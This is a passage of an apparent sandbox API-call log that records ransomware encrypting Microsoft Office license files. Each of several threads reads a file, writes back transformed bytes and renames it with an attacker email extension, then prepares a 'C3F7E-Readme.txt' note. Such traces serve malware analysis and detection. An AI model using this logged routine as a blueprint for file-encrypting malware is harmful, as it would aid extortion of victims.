	[0086.117] wcscat (in: _Dest=0x47ebe88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.117] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x292bfa88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x477a460
	[0086.118] NtSetInformationFile (FileHandle=0x18c0, IoStatusBlock=0x292bfa80, FileInformation=0x477a460, Length=0xf8, FileInformationClass=0xa) returned 0x0
	[0086.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751f78) returned 1
	[0086.118] NtQueryInformationFile (in: FileHandle=0x18c0, IoStatusBlock=0x292bfa94, FileInformation=0x292bfa6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x292bfa94, FileInformation=0x292bfa6c) returned 0x0
	[0086.119] NtSetInformationFile (FileHandle=0x18c0, IoStatusBlock=0x292bfa94, FileInformation=0x292bfa6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.119] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebe88) returned 1
	[0086.119] FlushFileBuffers (hFile=0x18c0) returned 1
	[0093.091] CloseHandle (hObject=0x18c0) returned 1
	[0093.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f508
	[0093.092] wcscpy (in: _Dest=0x476f508, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.092] wcscat (in: _Dest=0x476f508, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1177
	os_tid = 0x1ed8

	[0086.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220
	[0086.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18c4
	[0086.121] GetFileSizeEx (in: hFile=0x18c4, lpFileSize=0x2933fc10 | out: lpFileSize=0x2933fc10*=4392) returned 1
	[0086.121] SetFilePointerEx (in: hFile=0x18c4, liDistanceToMove=0x1124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.121] ReadFile (in: hFile=0x18c4, lpBuffer=0x2933fb94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2933fb90, lpOverlapped=0x0 | out: lpBuffer=0x2933fb94*, lpNumberOfBytesRead=0x2933fb90*=0x4, lpOverlapped=0x0) returned 1
	[0086.123] SetFilePointerEx (in: hFile=0x18c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0086.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.123] NtQuerySystemTime (in: CurrentTime=0x2933fb70 | out: CurrentTime=0x2933fb70*=132251868128591724) returned 0x0
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x4e509ba3
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x772bb545
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x41d403ca
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x19ff7481
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xa169886f
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xc20922cf
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xba1c452
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x35d446d1
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xb03a10f4
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xefdc0277
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xd37afd6c
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xaa60eb9c
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x4d413534
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xa3f5ba1c
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x8cfc8e8a
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x3b30d24a
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x322185df
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xfae7a84e
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xeccd6a7f
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x58a38cba
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x1dc18a7b
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xa4ce4e8a
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x3b898ab2
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xb8fa79f0
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xc144c91e
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x443f191c
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x591a048
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xd1f9b5c5
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xcd4c4646
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0xc85c0115
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x2f3aef2b
	[0086.123] RtlRandom (in: Seed=0x2933fb7c | out: Seed=0x2933fb7c) returned 0x5732878b
	[0086.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0086.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0086.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.133] ReadFile (in: hFile=0x18c4, lpBuffer=0x48a2060, nNumberOfBytesToRead=0x1128, lpNumberOfBytesRead=0x2933fb6c, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x2933fb6c*=0x1128, lpOverlapped=0x0) returned 1
	[0086.133] SetFilePointerEx (in: hFile=0x18c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.133] WriteFile (in: hFile=0x18c4, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0x1128, lpNumberOfBytesWritten=0x2933fb68, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x2933fb68*=0x1128, lpOverlapped=0x0) returned 1
	[0086.136] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.136] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.136] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4774c10
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x47748f0
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12b) returned 0x4ebca00
	[0086.137] SetFilePointerEx (in: hFile=0x18c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.137] WriteFile (in: hFile=0x18c4, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12b, lpNumberOfBytesWritten=0x2933fbd0, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x2933fbd0*=0x12b, lpOverlapped=0x0) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47748f0) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774c10) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0086.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0086.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea808
	[0086.149] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms"
	[0086.149] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.149] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2933fb88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d3c0
	[0086.149] NtSetInformationFile (FileHandle=0x18c4, IoStatusBlock=0x2933fb80, FileInformation=0x481d3c0, Length=0xfc, FileInformationClass=0xa) returned 0x0
	[0086.150] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0086.150] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0086.150] NtQueryInformationFile (in: FileHandle=0x18c4, IoStatusBlock=0x2933fb94, FileInformation=0x2933fb6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2933fb94, FileInformation=0x2933fb6c) returned 0x0
	[0086.150] NtSetInformationFile (FileHandle=0x18c4, IoStatusBlock=0x2933fb94, FileInformation=0x2933fb6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.151] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.151] FlushFileBuffers (hFile=0x18c4) returned 1
	[0093.093] CloseHandle (hObject=0x18c4) returned 1
	[0093.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f118
	[0093.093] wcscpy (in: _Dest=0x476f118, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.093] wcscat (in: _Dest=0x476f118, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1178
	os_tid = 0x1edc

	[0086.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220
	[0086.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18c8
	[0086.135] GetFileSizeEx (in: hFile=0x18c8, lpFileSize=0x293bf758 | out: lpFileSize=0x293bf758*=4208) returned 1
	[0086.135] SetFilePointerEx (in: hFile=0x18c8, liDistanceToMove=0x106c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.135] ReadFile (in: hFile=0x18c8, lpBuffer=0x293bf6dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x293bf6d8, lpOverlapped=0x0 | out: lpBuffer=0x293bf6dc*, lpNumberOfBytesRead=0x293bf6d8*=0x4, lpOverlapped=0x0) returned 1
	[0086.138] SetFilePointerEx (in: hFile=0x18c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773a8
	[0086.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0086.138] NtQuerySystemTime (in: CurrentTime=0x293bf6b8 | out: CurrentTime=0x293bf6b8*=132251868128748471) returned 0x0
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xc22da943
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x85299f2c
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x7afe183a
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xe6fa6b8c
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xd9e9d8bb
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xffcc28d1
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x80f6c544
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xd72e5f5d
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xe2f851d0
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xe7a23a3
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xa6e96c9b
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xf2f04220
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xa55dff29
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x93746916
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x85d8d53b
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xca6f6546
	[0086.138] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x18d7afc0
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x4b753648
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x584cb3f8
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x89e6647b
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x2f600c99
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x72f2b22b
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xf6690030
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x2f750171
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x43115db1
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x4cf2367d
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xbdc65c82
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x27ce0b9e
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x4b499122
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0xa0fa79ba
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x89743f05
	[0086.139] RtlRandom (in: Seed=0x293bf6c4 | out: Seed=0x293bf6c4) returned 0x4e0326d2
	[0086.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773d0
	[0086.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0086.148] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.148] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0086.148] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77448
	[0086.148] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77448) returned 1
	[0086.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.148] ReadFile (in: hFile=0x18c8, lpBuffer=0x48a2060, nNumberOfBytesToRead=0x1070, lpNumberOfBytesRead=0x293bf6b4, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x293bf6b4*=0x1070, lpOverlapped=0x0) returned 1
	[0086.152] SetFilePointerEx (in: hFile=0x18c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.152] WriteFile (in: hFile=0x18c8, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x293bf6b0, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x293bf6b0*=0x1070, lpOverlapped=0x0) returned 1
	[0086.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3f) returned 0x2dfb3d8
	[0086.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0086.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0086.154] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3f) returned 0x2dfb0c0
	[0086.154] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.154] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0086.155] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0086.155] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.155] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x123) returned 0x2d62e78
	[0086.155] SetFilePointerEx (in: hFile=0x18c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.155] WriteFile (in: hFile=0x18c8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x293bf718, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x293bf718*=0x123, lpOverlapped=0x0) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773a8) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0086.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0086.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
